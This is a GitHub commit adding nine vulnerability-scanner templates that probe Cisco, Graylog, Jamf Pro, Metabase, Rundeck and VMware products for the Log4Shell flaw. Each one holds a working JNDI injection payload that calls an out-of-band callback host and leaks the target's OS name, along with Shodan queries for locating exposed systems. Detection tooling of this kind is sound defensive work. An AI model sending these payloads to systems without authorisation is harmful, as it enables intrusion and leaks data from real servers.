Prince Chaddha
GitHub
commit
9f4e720ba5
|
|
@ -0,0 +1,52 @@
|
|||
id: cisco-unified-communications-log4j
|
||||
|
||||
info:
|
||||
name: Cisco Unified Communications - Remote Code Execution (Apache Log4j)
|
||||
author: DhiyaneshDK
|
||||
severity: critical
|
||||
reference:
|
||||
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"Cisco Unified"
|
||||
tags: cve,cve2021,rce,jndi,log4j,cisco
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /ccmadmin/j_security_check HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Origin: {{BaseURL}}
|
||||
Referer: {{BaseURL}}/ccmadmin/showHome.do
|
||||
|
||||
appNav=ccmadmin&j_username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&j_password=admin
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
regex:
|
||||
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- interactsh_ip # Print remote interaction IP in output
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
group: 1
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
id: cisco-vmanage-log4j
|
||||
|
||||
info:
|
||||
name: Cisco vManage - Remote Code Execution (Apache Log4j)
|
||||
author: DhiyaneshDK
|
||||
severity: critical
|
||||
description: Cisco SD-WAN vManage is affected by the following critical vulnerability in the Apache Log4j Java logging library as described in the cisco-sa-apache-log4j-qRuKNEbd advisory
|
||||
reference:
|
||||
- https://www.tenable.com/plugins/nessus/161212
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"vManage"
|
||||
tags: cve,cve2021,rce,jndi,log4j,cisco
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /j_security_check HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Origin: {{BaseURL}}
|
||||
Referer: {{BaseURL}}
|
||||
|
||||
j_username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&j_password=admin&submit=Log+In
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
regex:
|
||||
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- interactsh_ip # Print remote interaction IP in output
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
group: 1
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
id: graylog-log4j
|
||||
|
||||
info:
|
||||
name: GrayLog - Remote Code Execution (Apache Log4j)
|
||||
author: DhiyaneshDK
|
||||
severity: critical
|
||||
description: Graylog uses the Log4j 2 Java library to record its own log information. Versions of this library earlier than 2.15.0 are vulnerable to a remote code execution attack, specifically when specially crafted values sent as user input will be logged by Graylog.
|
||||
reference:
|
||||
- https://www.graylog.org/post/graylog-update-for-log4j
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"Graylog Web Interface"
|
||||
tags: cve,cve2021,rce,jndi,log4j,graylog
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /api/system/sessions HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: application/json
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
X-Requested-With: XMLHttpRequest
|
||||
X-Requested-By: XMLHttpRequest
|
||||
Content-Type: application/json
|
||||
Origin: {{BaseURL}}
|
||||
Referer: {{BaseURL}}
|
||||
|
||||
{"username":"${jndi:ldap://${sys:os.name}.{{interactsh-url}}}","password":"admin","host":"{{Hostname}}"}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
regex:
|
||||
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- interactsh_ip # Print remote interaction IP in output
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
group: 1
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
||||
|
|
@ -0,0 +1,52 @@
|
|||
id: jamf-pro-log4j
|
||||
|
||||
info:
|
||||
name: JamfPro - Remote Code Execution (Apache Log4j)
|
||||
author: DhiyaneshDK
|
||||
severity: critical
|
||||
reference:
|
||||
- https://docs.jamf.com/technical-articles/Mitigating_the_Apache_Log4j_2_Vulnerability.html
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"Jamf Pro"
|
||||
tags: cve,cve2021,rce,jndi,log4j,jamfpro
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Origin: {{BaseURL}}
|
||||
Referer: {{BaseURL}}
|
||||
|
||||
username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&password=admin
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
regex:
|
||||
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- interactsh_ip # Print remote interaction IP in output
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
group: 1
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
id: metabase-log4j
|
||||
|
||||
info:
|
||||
name: Metabase - Remote Code Execution (Apache Log4j)
|
||||
author: DhiyaneshDK
|
||||
severity: critical
|
||||
description: The vulnerability exists due to incomplete patch in Apache Log4j 2.15.0 for a code injection vulnerability VU58816 (CVE-2021-44228) in certain non-default configurations. A remote attacker with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) can pass malicious data using a JNDI Lookup pattern and perform a denial of service (DoS) attack, exfiltrate data or execute arbitrary code.
|
||||
reference:
|
||||
- https://www.cybersecurity-help.cz/vdb/SB2021121706
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"Metabase"
|
||||
tags: cve,cve2021,rce,jndi,log4j,metabase
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/api/geojson?url=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
regex:
|
||||
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- interactsh_ip # Print remote interaction IP in output
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
group: 1
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
id: rundeck-log4j
|
||||
|
||||
info:
|
||||
name: Rundeck - Remote Code Execution (Apache Log4j)
|
||||
author: DhiyaneshDK
|
||||
severity: critical
|
||||
reference:
|
||||
- https://docs.rundeck.com/docs/history/CVEs/log4j.html
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"Rundeck"
|
||||
tags: cve,cve2021,rce,jndi,log4j,rundeck
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /j_security_check HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Origin: {{BaseURL}}
|
||||
Connection: close
|
||||
Referer: {{BaseURL}}/user/login
|
||||
|
||||
j_username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&j_password=admin
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
regex:
|
||||
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- interactsh_ip # Print remote interaction IP in output
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
group: 1
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
id: vmware-hcx-log4j
|
||||
|
||||
info:
|
||||
name: VMware HCX - Remote Code Execution (Apache Log4j)
|
||||
author: pussycat0x,DhiyaneshDK
|
||||
severity: critical
|
||||
reference:
|
||||
- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"VMware HCX"
|
||||
tags: cve,cve2021,rce,jndi,log4j,vmware
|
||||
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /hybridity/api/sessions HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: application/json
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/json
|
||||
Origin: {{BaseURL}}
|
||||
|
||||
{
|
||||
"authType": "password",
|
||||
"username": "${jndi:ldap://${sys:os.name}.{{interactsh-url}}}",
|
||||
"password": "admin"
|
||||
}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
regex:
|
||||
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- interactsh_ip # Print remote interaction IP in output
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
group: 1
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
id: vmware-nsx-log4j
|
||||
|
||||
info:
|
||||
name: VMware NSX - Remote Code Execution (Apache Log4j)
|
||||
author: DhiyaneshDK
|
||||
severity: critical
|
||||
reference:
|
||||
- https://kb.vmware.com/s/article/87086
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: html:"vmw_nsx_logo-black-triangle-500w.png"
|
||||
tags: cve,cve2021,rce,jndi,log4j,graylog
|
||||
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /login HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Origin: {{BaseURL}}
|
||||
Referer: {{BaseURL}}/login.jsp
|
||||
|
||||
username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&password=admin&submit=
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
regex:
|
||||
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- interactsh_ip # Print remote interaction IP in output
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
group: 1
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
id: vmware-operation-manager-log4j
|
||||
|
||||
info:
|
||||
name: VMware Operation Manager - Remote Code Execution (Apache Log4j)
|
||||
author: DhiyaneshDK
|
||||
severity: critical
|
||||
reference:
|
||||
- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
|
||||
- https://logging.apache.org/log4j/2.x/security.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"vRealize Operations Manager"
|
||||
tags: cve,cve2021,rce,jndi,log4j,vmware
|
||||
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /ui/login.action HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Origin: {{BaseURL}}
|
||||
Referer: {{BaseURL}}/ui/login.action
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-origin
|
||||
|
||||
mainAction=login&userName=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&password=admin&authSourceId=localItem&authSourceName=Local%20Users&authSourceType=LOCAL&forceLogin=&timezone=330&languageCode=us
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms the DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
regex:
|
||||
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
kval:
|
||||
- interactsh_ip # Print remote interaction IP in output
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
group: 1
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
||||
Loading…
Reference in New Issue